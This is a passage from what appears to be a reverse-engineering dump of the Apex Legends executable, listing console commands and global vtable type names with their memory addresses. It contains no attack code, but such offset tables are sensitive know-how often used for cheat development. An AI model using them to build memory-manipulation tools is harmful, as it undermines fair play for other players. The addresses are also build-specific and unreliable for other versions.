ConCommand chat_wheel +r5apex.exe!0x012ec8c0 ConCommand chatroom_adminsOnly +r5apex.exe!0x01279e70 ConCommand chatroom_away +r5apex.exe!0x012ec720 ConCommand chatroom_freetalk +r5apex.exe!0x0127b160 ConCommand chatroom_present +r5apex.exe!0x0127a650 ConCommand chatserver +r5apex.exe!0x011b92c0 ConCommand chroma_base +r5apex.exe!0x011b9240 ConCommand chroma_layer +r5apex.exe!0x01c71260 ConCommand cl_dump_particle_stats +r5apex.exe!0x01ea23c0 ConCommand cl_ent_absbox +r5apex.exe!0x01ea05c0 ConCommand cl_ent_bbox +r5apex.exe!0x01ea0f60 ConCommand cl_ent_rbox +r5apex.exe!0x01ea1060 ConCommand cl_find_ent +r5apex.exe!0x01ea1840 ConCommand cl_find_ent_index +r5apex.exe!0x01ea0fe0 ConCommand cl_flip_visibility +r5apex.exe!0x0127aac0 ConCommand cl_fullupdate +r5apex.exe!0x01ea1a80 ConCommand cl_interpolation_report +r5apex.exe!0x01c6afc0 ConCommand cl_panelanimation +r5apex.exe!0x01c6c4e0 ConCommand cl_particles_dumplist +r5apex.exe!0x01279df0 ConCommand cl_precacheinfo +r5apex.exe!0x01ea1960 ConCommand cl_removedecals +r5apex.exe!0x0127a830 ConCommand cl_showents +r5apex.exe!0x01c654a0 ConCommand cl_soundscape_flush +r5apex.exe!0x01c721d0 ConCommand cl_trace_start_solid +r5apex.exe!0x018ae950 ConCommand cl_trace_test_hitbox_with_non_zero_start_offset +r5apex.exe!0x01ea2540 ConCommand cl_updatevisibility +r5apex.exe!0x011b18a0 ConCommand clear_loading_progress_detente +r5apex.exe!0x011a99c0 ConCommand clear_loading_progress_sp_text +r5apex.exe!0x011a5b40 ConCommand cm_query_log_record +r5apex.exe!0x011a8010 ConCommand cm_query_log_replay +r5apex.exe!0x011a5c30 ConCommand cmd +r5apex.exe!0x011a56d0 ConCommand cmd1 +r5apex.exe!0x011a5d20 ConCommand cmd2 +r5apex.exe!0x011a5210 ConCommand cmd3 +r5apex.exe!0x011a5ed0 ConCommand cmd4 +r5apex.exe!0x01ea0c80 ConCommand collision_debug +r5apex.exe!0x011a8880 ConCommand colorcorrectionui +r5apex.exe!0x012e49c0 ConCommand community_browse +r5apex.exe!0x012e4b80 ConCommand community_getPendingJoinRequest +r5apex.exe!0x012e4820 ConCommand community_join +r5apex.exe!0x012e4f40 ConCommand community_leave +r5apex.exe!0x012e48a0 ConCommand community_list +r5apex.exe!0x012e4ec0 ConCommand community_report +r5apex.exe!0x012e45a0 ConCommand community_showerror +r5apex.exe!0x0127b050 ConCommand connect +r5apex.exe!0x0127b4f0 ConCommand connectAsSpectator +r5apex.exe!0x01279cd0 ConCommand connectWithKey +r5apex.exe!0x0127bc20 ConCommand connectwithtoken +r5apex.exe!0x011a6600 ConCommand convar_differences +r5apex.exe!0x011a6590 ConCommand convar_findByFlags +r5apex.exe!0x011a8080 ConCommand convar_list +r5apex.exe!0x0127a7c0 ConCommand createparty +r5apex.exe!0x0127b2e0 ConCommand createpartyifnotinone +r5apex.exe!0x01c49250 ConCommand csm_status +r5apex.exe!0x01cb7ac0 ConCommand damagedefs_reparse_client +r5apex.exe!0x0127a740 ConCommand debugModelPurge +r5apex.exe!0x011a6750 ConCommand devshots_nextmap +r5apex.exe!0x0127ac40 ConCommand devshots_screenshot +r5apex.exe!0x012e62d0 ConCommand dfs_print_flag_states +r5apex.exe!0x012e6910 ConCommand dfs_print_true_flags +r5apex.exe!0x011a8aa0 ConCommand disconnect +r5apex.exe!0x012e7450 ConCommand display_elapsedtime +r5apex.exe!0x01ea0d00 ConCommand dlight_debug +r5apex.exe!0x0586f330 ConCommand do_InvitePeople_test +r5apex.exe!0x0586ed40 ConCommand do_Invite_friend_test +r5apex.exe!0x05869910 ConCommand do_joinPeople_test +r5apex.exe!0x0586ec60 ConCommand do_origin_test_presence +r5apex.exe!0x011b5a00 ConCommand downloadPlaylists +r5apex.exe!0x01c76060 ConCommand dumpClientStringTable +r5apex.exe!0x011b1f50 ConCommand dumpstringtables +r5apex.exe!0x011a5fe0 ConCommand echo +r5apex.exe!0x011a66e0 ConCommand echo_error +r5apex.exe!0x012ec170 ConCommand editor_toggle +r5apex.exe!0x0127bba0 ConCommand endmovie +r5apex.exe!0x012b1d00 ConCommand entitlements_send +r5apex.exe!0x011a5580 ConCommand envmap +r5apex.exe!0x011a9a30 ConCommand escape +r5apex.exe!0x011a8430 ConCommand exec +r5apex.exe!0x012e75f0 ConCommand execPlayerConfig +r5apex.exe!0x011a6670 ConCommand execifexists +r5apex.exe!0x011aa040 ConCommand exit +r5apex.exe!0x018ad120 ConCommand eyeInfo +r5apex.exe!0x01c5ac70 ConCommand firstperson +r5apex.exe!0x011a9140 ConCommand flush +r5apex.exe!0x011ac8a0 ConCommand flush_locked +r5apex.exe!0x01c649c0 ConCommand force_centerview +r5apex.exe!0x012f6570 ConCommand fps_stats_dump +r5apex.exe!0x012f86b0 ConCommand fps_stats_reset +r5apex.exe!0x012f63b0 ConCommand fps_stats_start +r5apex.exe!0x012f8a50 ConCommand fps_stats_stop +r5apex.exe!0x012eb260 ConCommand friends_update +r5apex.exe!0x012ee680 ConCommand fs_clear_open_duplicate_times +r5apex.exe!0x012ee900 ConCommand fs_dump_open_duplicate_times +r5apex.exe!0x012ef040 ConCommand fs_fios_cancel_prefetches +r5apex.exe!0x012ee600 ConCommand fs_fios_flush_cache +r5apex.exe!0x012eeac0 ConCommand fs_fios_prefetch_file +r5apex.exe!0x012eee10 ConCommand fs_fios_prefetch_file_in_pack +r5apex.exe!0x012eed90 ConCommand fs_fios_print_prefetches +r5apex.exe!0x011a6a20 ConCommand fs_printopenfiles +r5apex.exe!0x011a6e00 ConCommand fs_warning_level +r5apex.exe!0x01c59a70 ConCommand fx_impact_reparse +r5apex.exe!0x011b38b0 ConCommand gameui_activate +r5apex.exe!0x011b5ca0 ConCommand gameui_allowescape +r5apex.exe!0x011b7460 ConCommand gameui_allowescapetoshow +r5apex.exe!0x011b3650 ConCommand gameui_hide +r5apex.exe!0x011b3070 ConCommand gameui_preventescape +r5apex.exe!0x011b4b40 ConCommand gameui_preventescapetoshow +r5apex.exe!0x012ecb00 ConCommand getNewAuthToken +r5apex.exe!0x018ab9f0 ConCommand getfov +r5apex.exe!0x011ab560 ConCommand gethttpdatacenterlist +r5apex.exe!0x018b0620 ConCommand getpos +r5apex.exe!0x018c39a0 ConCommand getpos_bind +r5apex.exe!0x01c483b0 ConCommand getposvec +r5apex.exe!0x01e809f0 ConCommand give +r5apex.exe!0x011a6d90 ConCommand help +r5apex.exe!0x01ea3320 ConCommand hidepanel +r5apex.exe!0x01c6a4e0 ConCommand hidevideos +r5apex.exe!0x013010a0 ConCommand highlight_log +r5apex.exe!0x012e70f0 ConCommand host_runofftime +r5apex.exe!0x01c5c7e0 ConCommand hud_subtitles +r5apex.exe!0x012ed540 ConCommand huffman_readProps +r5apex.exe!0x01c61860 ConCommand impulse +r5apex.exe!0x01c5a290 ConCommand in_spec_closest_enemy +r5apex.exe!0x01c5f8d0 ConCommand in_spec_closest_player +r5apex.exe!0x01c64d20 ConCommand in_spec_kill_leader +r5apex.exe!0x01c53900 ConCommand in_spec_last_attacker +r5apex.exe!0x01c66b20 ConCommand in_spec_mode +r5apex.exe!0x01c62880 ConCommand in_spec_next +r5apex.exe!0x01c65760 ConCommand in_spec_next_team +r5apex.exe!0x01c58800 ConCommand in_spec_prev +r5apex.exe!0x01c59040 ConCommand in_spec_prev_team +r5apex.exe!0x012e4c00 ConCommand inboxmessage_report +r5apex.exe!0x011b1e10 ConCommand incrementvar +r5apex.exe!0x01c6bf80 ConCommand ingamemenu_activate +r5apex.exe!0x011a98a0 ConCommand initMatchmaking +r5apex.exe!0x01c5a830 ConCommand invnext +r5apex.exe!0x018c4120 ConCommand is_considered_sony_multiplayer +r5apex.exe!0x0127a6d0 ConCommand joinopeninvite +r5apex.exe!0x01c61ee0 ConCommand joystick_initialize +r5apex.exe!0x0127ad80 ConCommand jpeg +r5apex.exe!0x011b19b0 ConCommand key_listboundkeys +r5apex.exe!0x012f0e50 ConCommand key_updatelayout +r5apex.exe!0x011b5660 ConCommand launchplaylist +r5apex.exe!0x0127b840 ConCommand leaveopeninvite +r5apex.exe!0x01c72250 ConCommand listClientFXScriptHandles +r5apex.exe!0x011ade10 ConCommand listmodels +r5apex.exe!0x011b4260 ConCommand loadPlaylists +r5apex.exe!0x011ac440 ConCommand map +r5apex.exe!0x011aa760 ConCommand map_background +r5apex.exe!0x011ac800 ConCommand maps +r5apex.exe!0x011abb50 ConCommand mat_antialias_mode +r5apex.exe!0x011b2bd0 ConCommand mat_configcurrent +r5apex.exe!0x011a6bd0 ConCommand mat_crosshair +r5apex.exe!0x011a6900 ConCommand mat_crosshair_edit +r5apex.exe!0x011a5470 ConCommand mat_crosshair_explorer +r5apex.exe!0x011a6d10 ConCommand mat_crosshair_printmaterial +r5apex.exe!0x011a80f0 ConCommand mat_crosshair_reloadmaterial +r5apex.exe!0x011acf80 ConCommand mat_gamma +r5apex.exe!0x012fc170 ConCommand mat_hdr_enabled +r5apex.exe!0x0189d220 ConCommand mat_printLiveTex +r5apex.exe!0x011ac4e0 ConCommand mat_savechanges +r5apex.exe!0x011af7e0 ConCommand mat_setvideomode +r5apex.exe!0x011b29f0 ConCommand mat_vsync +r5apex.exe!0x011af880 ConCommand match_abortAllSearches +r5apex.exe!0x011ab4f0 ConCommand match_showAllSearches +r5apex.exe!0x011b2270 ConCommand matchmake +r5apex.exe!0x011b24f0 ConCommand matchmake_cancel +r5apex.exe!0x011affa0 ConCommand matchmake_cleanupforparty +r5apex.exe!0x012b3500 ConCommand maxplayers +r5apex.exe!0x012e7670 ConCommand mem_compact +r5apex.exe!0x012e6770 ConCommand mem_dump +r5apex.exe!0x012e6490 ConCommand mem_dump_vm +r5apex.exe!0x012e5fb0 ConCommand mem_eat +r5apex.exe!0x012e73d0 ConCommand mem_incremental_compact +r5apex.exe!0x012e7570 ConCommand mem_leak_vm +r5apex.exe!0x012e6890 ConCommand mem_test +r5apex.exe!0x012fd320 ConCommand mem_textures +r5apex.exe!0x012e7ab0 ConCommand mem_verify +r5apex.exe!0x012fd800 ConCommand mem_vram +r5apex.exe!0x011ae610 ConCommand memory +r5apex.exe!0x011b09e0 ConCommand migrateme +r5apex.exe!0x01e8e700 ConCommand miles_dump +r5apex.exe!0x01e8e890 ConCommand miles_event_info +r5apex.exe!0x01e8f310 ConCommand miles_pauseui_byname +r5apex.exe!0x01e90040 ConCommand miles_play +r5apex.exe!0x01e90280 ConCommand miles_reboot +r5apex.exe!0x01e8d0b0 ConCommand miles_record +r5apex.exe!0x01e8df60 ConCommand miles_record_that +r5apex.exe!0x01e8db50 ConCommand miles_stop_all +r5apex.exe!0x01e8d5d0 ConCommand miles_unpauseui_byname +r5apex.exe!0x01e8e200 ConCommand miles_write_passive_dumpfile +r5apex.exe!0x0127a190 ConCommand mmdevinit +r5apex.exe!0x011a8a20 ConCommand multvar +r5apex.exe!0x012eca80 ConCommand muteroom +r5apex.exe!0x011a91c0 ConCommand net_channels +r5apex.exe!0x0127b350 ConCommand net_dumpIncomingStats +r5apex.exe!0x0127af30 ConCommand net_dumpOutgoingStats +r5apex.exe!0x0127b1d0 ConCommand net_dumpStats +r5apex.exe!0x011b0040 ConCommand net_start +r5apex.exe!0x011ad960 ConCommand net_status +r5apex.exe!0x012e6cb0 ConCommand net_writeStatsFile +r5apex.exe!0x0127b610 ConCommand openinvite +r5apex.exe!0x0127ab30 ConCommand openinvitecomplete +r5apex.exe!0x0127a940 ConCommand openinvitelaunch +r5apex.exe!0x0586ecd0 ConCommand origin_friendlist_dump +r5apex.exe!0x018bada0 ConCommand particle_create +r5apex.exe!0x018bde60 ConCommand particle_create_on_me +r5apex.exe!0x01c492d0 ConCommand particle_create_ss +r5apex.exe!0x01c6bdc0 ConCommand particle_dump +r5apex.exe!0x018b0cd0 ConCommand particle_kill +r5apex.exe!0x01c6f8e0 ConCommand particle_list +r5apex.exe!0x018bac80 ConCommand particle_recreate +r5apex.exe!0x01c6aa10 ConCommand particle_remove_all +r5apex.exe!0x018b8540 ConCommand particle_scrub_bake +r5apex.exe!0x01c52940 ConCommand particle_scrub_play +r5apex.exe!0x01c481f0 ConCommand particle_scrub_stop +r5apex.exe!0x012e96a0 ConCommand party_leave +r5apex.exe!0x012e9260 ConCommand party_serverChange +r5apex.exe!0x011a84c0 ConCommand path +r5apex.exe!0x011a9e90 ConCommand pause +r5apex.exe!0x01c6d440 ConCommand pausevideos +r5apex.exe!0x0189f840 ConCommand perfcharts_record +r5apex.exe!0x01c6d6a0 ConCommand phys_objectDump +r5apex.exe!0x01ea0540 ConCommand phys_throw_client +r5apex.exe!0x011aad30 ConCommand ping +r5apex.exe!0x01c6d140 ConCommand ping_specific_type +r5apex.exe!0x011b21d0 ConCommand pingdatacenters +r5apex.exe!0x018b0760 ConCommand pixelvis_debug +r5apex.exe!0x01cbbb20 ConCommand playerSettings_reparse +r5apex.exe!0x011b71c0 ConCommand playlistdump +r5apex.exe!0x01c58c60 ConCommand playsoundscape +r5apex.exe!0x01c6df40 ConCommand playvideo +r5apex.exe!0x01c6c1e0 ConCommand playvideo_end_level_transition +r5apex.exe!0x01c70020 ConCommand playvideo_exitcommand +r5apex.exe!0x01c704c0 ConCommand playvideo_exitcommand_nointerrupt +r5apex.exe!0x01c70d40 ConCommand playvideo_nointerrupt +r5apex.exe!0x01c6dce0 ConCommand playvideo_scaled +r5apex.exe!0x011a5cb0 ConCommand print_colorcorrection +r5apex.exe!0x011b64a0 ConCommand progress_enable +r5apex.exe!0x011add70 ConCommand quit +r5apex.exe!0x01cc0070 ConCommand r_cheapwaterend +r5apex.exe!0x01e74a80 ConCommand r_cheapwaterstart +r5apex.exe!0x011abe50 ConCommand r_cleardecals +r5apex.exe!0x01303460 ConCommand r_dxgi_max_frame_latency +r5apex.exe!0x011b5000 ConCommand r_printdecalinfo +r5apex.exe!0x012e42e0 ConCommand readMsgs +r5apex.exe!0x012e66f0 ConCommand recompute_speed +r5apex.exe!0x01279d50 ConCommand reconnect +r5apex.exe!0x011afba0 ConCommand reload +r5apex.exe!0x012b1f60 ConCommand reload_localization +r5apex.exe!0x01e75560 ConCommand reload_script_callbacks +r5apex.exe!0x01c5d0b0 ConCommand reset_cam_ideal_angles +r5apex.exe!0x011b03e0 ConCommand restart +r5apex.exe!0x011add00 ConCommand restart_checkpoint +r5apex.exe!0x018bc400 ConCommand roamingcam_setang +r5apex.exe!0x01c484f0 ConCommand roamingcam_setpos +r5apex.exe!0x018c31d0 ConCommand roamingcam_setroll +r5apex.exe!0x01e8efb0 ConCommand rumble_print +r5apex.exe!0x012e5c70 ConCommand savePlayerConfig +r5apex.exe!0x01c6f420 ConCommand scoreboard_down +r5apex.exe!0x01c6ca80 ConCommand scoreboard_focus +r5apex.exe!0x01c70140 ConCommand scoreboard_mute +r5apex.exe!0x01c71790 ConCommand scoreboard_profile +r5apex.exe!0x01c6f2c0 ConCommand scoreboard_toggle_focus +r5apex.exe!0x01c6e540 ConCommand scoreboard_up +r5apex.exe!0x0127a0f0 ConCommand screenshot +r5apex.exe!0x01e8fc90 ConCommand scriptremotefunctions_print_client_stats +r5apex.exe!0x011ad9e0 ConCommand server_single_frame +r5apex.exe!0x011b4da0 ConCommand serverinfo +r5apex.exe!0x01cbc960 ConCommand set +r5apex.exe!0x011abd10 ConCommand set_loading_progress_background +r5apex.exe!0x011b2b30 ConCommand set_loading_progress_detente +r5apex.exe!0x011a8e50 ConCommand set_loading_progress_fadeout_enabled +r5apex.exe!0x011a8cd0 ConCommand set_loading_progress_sp_text +r5apex.exe!0x0127b470 ConCommand setinfo +r5apex.exe!0x011a7790 ConCommand settype +r5apex.exe!0x01c70300 ConCommand shake_stop +r5apex.exe!0x01c70720 ConCommand shake_testpunch +r5apex.exe!0x011b2d50 ConCommand show_loading_progress +r5apex.exe!0x01ea32a0 ConCommand showpanel +r5apex.exe!0x01c6f720 ConCommand showvideos +r5apex.exe!0x0127a3f0 ConCommand silentconnect +r5apex.exe!0x011b6060 ConCommand skill_writeTrainingData +r5apex.exe!0x018ae110 ConCommand soundscape_dumpclient +r5apex.exe!0x01c6ab30 ConCommand spawn_as_pilot +r5apex.exe!0x01c6f960 ConCommand spawn_as_titan +r5apex.exe!0x011ad660 ConCommand ss_map +r5apex.exe!0x01c69be0 ConCommand ss_reloadletterbox +r5apex.exe!0x01e73e80 ConCommand sssss_enable +r5apex.exe!0x011b4d20 ConCommand star_memory +r5apex.exe!0x0127ba80 ConCommand startmovie +r5apex.exe!0x011b1ff0 ConCommand status +r5apex.exe!0x012eb860 ConCommand steam_printid +r5apex.exe!0x012eb6a0 ConCommand steam_testOverlay +r5apex.exe!0x012eb0c0 ConCommand steamlink +r5apex.exe!0x012eb1e0 ConCommand steamunlink +r5apex.exe!0x01c6cc40 ConCommand stop_transition_videos_fadeout +r5apex.exe!0x01c64e40 ConCommand stopsoundscape +r5apex.exe!0x01c6ba30 ConCommand stopvideos +r5apex.exe!0x01c683c0 ConCommand stopvideos_fadeout +r5apex.exe!0x012b30c0 ConCommand sv_precacheinfo +r5apex.exe!0x012b46c0 ConCommand sv_showents +r5apex.exe!0x012b4200 ConCommand sv_shutdown +r5apex.exe!0x012b5ba0 ConCommand sv_writeSendTableStreamFile +r5apex.exe!0x018a8750 ConCommand testCockpitJoltAngles +r5apex.exe!0x018aeb50 ConCommand testCockpitJoltOrigin +r5apex.exe!0x01cbf710 ConCommand test_freezeframe +r5apex.exe!0x01c668e0 ConCommand testhudanim +r5apex.exe!0x012e7350 ConCommand thread_test_tslist +r5apex.exe!0x012e5bb0 ConCommand thread_test_tsqueue +r5apex.exe!0x01c6a460 ConCommand titan_loadout_select +r5apex.exe!0x011a7e60 ConCommand toggle +r5apex.exe!0x01c6fd00 ConCommand toggle_inventory +r5apex.exe!0x01c6bb50 ConCommand toggle_map +r5apex.exe!0x01c711e0 ConCommand toggle_observer_highlight +r5apex.exe!0x01c69d00 ConCommand toggle_observer_player_tags +r5apex.exe!0x01e8b570 ConCommand ui_reloadscheme +r5apex.exe!0x01e78c50 ConCommand uiscript_reset +r5apex.exe!0x01e79b40 ConCommand uiscript_resolutionchanged +r5apex.exe!0x011aacc0 ConCommand unbind +r5apex.exe!0x011ac3a0 ConCommand unbind_US_standard +r5apex.exe!0x011af580 ConCommand unbind_all_gamepad +r5apex.exe!0x011ae130 ConCommand unbind_batch +r5apex.exe!0x011af290 ConCommand unbind_held +r5apex.exe!0x011a9e20 ConCommand unbind_held_US_standard +r5apex.exe!0x011ac580 ConCommand unbindall +r5apex.exe!0x011abab0 ConCommand unbindall_ignoreGamepad +r5apex.exe!0x011af180 ConCommand unload_level_loadscreen +r5apex.exe!0x012ec7a0 ConCommand unmuteroom +r5apex.exe!0x01c6e660 ConCommand unpausevideos +r5apex.exe!0x01c6e100 ConCommand use_consumable +r5apex.exe!0x012b4e20 ConCommand user +r5apex.exe!0x012b45a0 ConCommand users +r5apex.exe!0x011af330 ConCommand version +r5apex.exe!0x01ea8a60 ConCommand vgui_spew_fonts +r5apex.exe!0x011b69c0 ConCommand vgui_togglepanel +r5apex.exe!0x011aa5b0 ConCommand voicerecord_toggle +r5apex.exe!0x011a8b20 ConCommand vx_datacache_list +r5apex.exe!0x011aada0 ConCommand vx_model_list +r5apex.exe!0x01c5c160 ConCommand weaponSelectOrdnance +r5apex.exe!0x01c64010 ConCommand weaponSelectPrimary0 +r5apex.exe!0x01c58e00 ConCommand weaponSelectPrimary1 +r5apex.exe!0x01c57ea0 ConCommand weaponSelectPrimary2 +r5apex.exe!0x01c61dc0 ConCommand weapon_activity +r5apex.exe!0x01c53800 ConCommand weapon_inspect +r5apex.exe!0x018baf50 ConCommand weapon_list +r5apex.exe!0x01e7a7e0 ConCommand weapon_reparse +r5apex.exe!0x011abf60 ConCommand xlog_list +r5apex.exe!0x011b2810 ConCommand xlog_record +r5apex.exe!0x011af200 ConCommand xlog_record_that +r5apex.exe!0x011ab650 ConCommand xlog_stop +r5apex.exe!0x01c605e0 ConCommand xlook +r5apex.exe!0x01c541a0 ConCommand xmove +``` + +## Globals + +List of global variables with an associated vtable and their type name. + +``` +r5apex.exe!0x018a0440 .?AUCCallbackInternal_OnAchievementsStored@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a03b0 .?AUCCallbackInternal_OnFileOpenDialog@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x018a0460 .?AUCCallbackInternal_OnGameRichPresenceJoinRequested@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a0400 .?AUCCallbackInternal_OnGetAuthTicket@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a0390 .?AUCCallbackInternal_OnJSAlert@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x018a03a0 .?AUCCallbackInternal_OnJSConfirm@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x018a0410 .?AUCCallbackInternal_OnMicroTxnAuthorization@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a0370 .?AUCCallbackInternal_OnNeedsPaint@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x018a0420 .?AUCCallbackInternal_OnOverlayActivated@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a0450 .?AUCCallbackInternal_OnOverlayBrowserNavigation@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x018a0380 .?AUCCallbackInternal_OnStartRequest@SteamWrapper_HTMLSurfaceCallbackHandler_s@@ +r5apex.exe!0x018a0430 .?AUCCallbackInternal_OnUserStatsReceived@SteamWrapper_CallbackHandler_s@@ +r5apex.exe!0x01eac110 .?AUSQArray@@ +r5apex.exe!0x01eac048 .?AUSQClass@@ +r5apex.exe!0x01eabff8 .?AUSQClosure@@ +r5apex.exe!0x01eabee0 .?AUSQFunctionProto@@ +r5apex.exe!0x01eabcd8 .?AUSQInstance@@ +r5apex.exe!0x01eac138 .?AUSQNativeClosure@@ +r5apex.exe!0x01eabe40 .?AUSQString@@ +r5apex.exe!0x01eac0c0 .?AUSQStructDef@@ +r5apex.exe!0x01eabe90 .?AUSQStructInstance@@ +r5apex.exe!0x01eabeb8 .?AUSQTable@@ +r5apex.exe!0x01eabda0 .?AUSQUserData@@ +r5apex.exe!0x01eac160 .?AUSQVM@@ +r5apex.exe!0x01eac188 .?AUSQWeakRef@@ +r5apex.exe!0x018a03c0 .?AV?$CCallResult@VSteamWrapper_HTMLSurfaceCallbackHandler_s@@UHTML_BrowserReady_t@@@@ +r5apex.exe!0x0594d308 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d370 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d378 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d398 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d400 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d408 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d428 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d490 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d498 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d4b8 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d520 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x0594d528 .?AV?$CConCommandMemberAccessor@VCMaterialSystem@@@@ +r5apex.exe!0x011a46e8 .?AV?$CDataManager@UDataCacheItem_t@@UDataCacheItemData_t@@PEAU1@VCThreadFastMutex@@@@ +r5apex.exe!0x0414aa40 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x0414aaf0 .?AV?$CDataManager@VCBoneCache@@Ubonecacheparams_t@@PEAV1@VCThreadFastMutex@@@@ +r5apex.exe!0x0127ade8 .?AV?$CPanelFactory@VCMovieDisplayScreen@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x0127a738 .?AV?$CPanelFactory@VCVGuiScreenPanel@@UVGuiScreenInitData_t@@@@ +r5apex.exe!0x01ea5a00 .?AV?$CParticleOperatorDefinition@VC_INIT_AgeNoise@@@@ +r5apex.exe!0x01ea58e0 .?AV?$CParticleOperatorDefinition@VC_INIT_ChaoticAttractor@@@@ +r5apex.exe!0x01ea5a48 .?AV?$CParticleOperatorDefinition@VC_INIT_ColorLitPerParticle@@@@ +r5apex.exe!0x01ea19c8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateAlongPath@@@@ +r5apex.exe!0x01e9be68 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromParentParticles@@@@ +r5apex.exe!0x01ea5a60 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateFromPlaneCache@@@@ +r5apex.exe!0x01ea5ad8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInEpitrochoid@@@@ +r5apex.exe!0x01ea5970 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateInHierarchy@@@@ +r5apex.exe!0x01e98048 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateOnModel@@@@ +r5apex.exe!0x01ea5a78 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateSequentialPath@@@@ +r5apex.exe!0x01ea59b8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinBox@@@@ +r5apex.exe!0x01ea25a8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinControlPointBox@@@@ +r5apex.exe!0x01ea5c50 .?AV?$CParticleOperatorDefinition@VC_INIT_CreateWithinSphere@@@@ +r5apex.exe!0x01ea0fc8 .?AV?$CParticleOperatorDefinition@VC_INIT_CreationNoise@@@@ +r5apex.exe!0x01ea5b38 .?AV?$CParticleOperatorDefinition@VC_INIT_DistanceToCPInit@@@@ +r5apex.exe!0x01ea10c8 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritFromParentParticles@@@@ +r5apex.exe!0x01ea59a0 .?AV?$CParticleOperatorDefinition@VC_INIT_InheritVelocity@@@@ +r5apex.exe!0x01ea58f8 .?AV?$CParticleOperatorDefinition@VC_INIT_InitFromParentKilled@@@@ +r5apex.exe!0x01ea5988 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialRepulsionVelocity@@@@ +r5apex.exe!0x01ea5c68 .?AV?$CParticleOperatorDefinition@VC_INIT_InitialVelocityNoise@@@@ +r5apex.exe!0x01ea0ce8 .?AV?$CParticleOperatorDefinition@VC_INIT_LifespanFromVelocity@@@@ +r5apex.exe!0x01ea5ac0 .?AV?$CParticleOperatorDefinition@VC_INIT_ModelCull@@@@ +r5apex.exe!0x01ea5940 .?AV?$CParticleOperatorDefinition@VC_INIT_MoveBetweenPoints@@@@ +r5apex.exe!0x01ea5958 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalAlignToCP@@@@ +r5apex.exe!0x01ea5c08 .?AV?$CParticleOperatorDefinition@VC_INIT_NormalOffset@@@@ +r5apex.exe!0x01ea1048 .?AV?$CParticleOperatorDefinition@VC_INIT_OffsetVectorToVector@@@@ +r5apex.exe!0x01ea59d0 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionOffset@@@@ +r5apex.exe!0x01e96078 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionPlaceOnGround@@@@ +r5apex.exe!0x01ea59e8 .?AV?$CParticleOperatorDefinition@VC_INIT_PositionWarp@@@@ +r5apex.exe!0x01ea5a30 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomAlpha@@@@ +r5apex.exe!0x01ea0628 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomColor@@@@ +r5apex.exe!0x01ea3308 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomLifeTime@@@@ +r5apex.exe!0x01e900a8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRadius@@@@ +r5apex.exe!0x01e9d388 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotation@@@@ +r5apex.exe!0x01e8f378 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomRotationSpeed@@@@ +r5apex.exe!0x01ea1ae8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomScalar@@@@ +r5apex.exe!0x01ea3388 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSecondSequence@@@@ +r5apex.exe!0x01ea5c38 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomSequence@@@@ +r5apex.exe!0x01e90408 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomTrailLength@@@@ +r5apex.exe!0x01ea5c80 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVector@@@@ +r5apex.exe!0x01ea5aa8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomVectorComponent@@@@ +r5apex.exe!0x01ea5bf0 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYaw@@@@ +r5apex.exe!0x01e902e8 .?AV?$CParticleOperatorDefinition@VC_INIT_RandomYawFlip@@@@ +r5apex.exe!0x01ea0d68 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoScalar@@@@ +r5apex.exe!0x01e98dc8 .?AV?$CParticleOperatorDefinition@VC_INIT_RemapCPtoVector@@@@ +r5apex.exe!0x01ea18a8 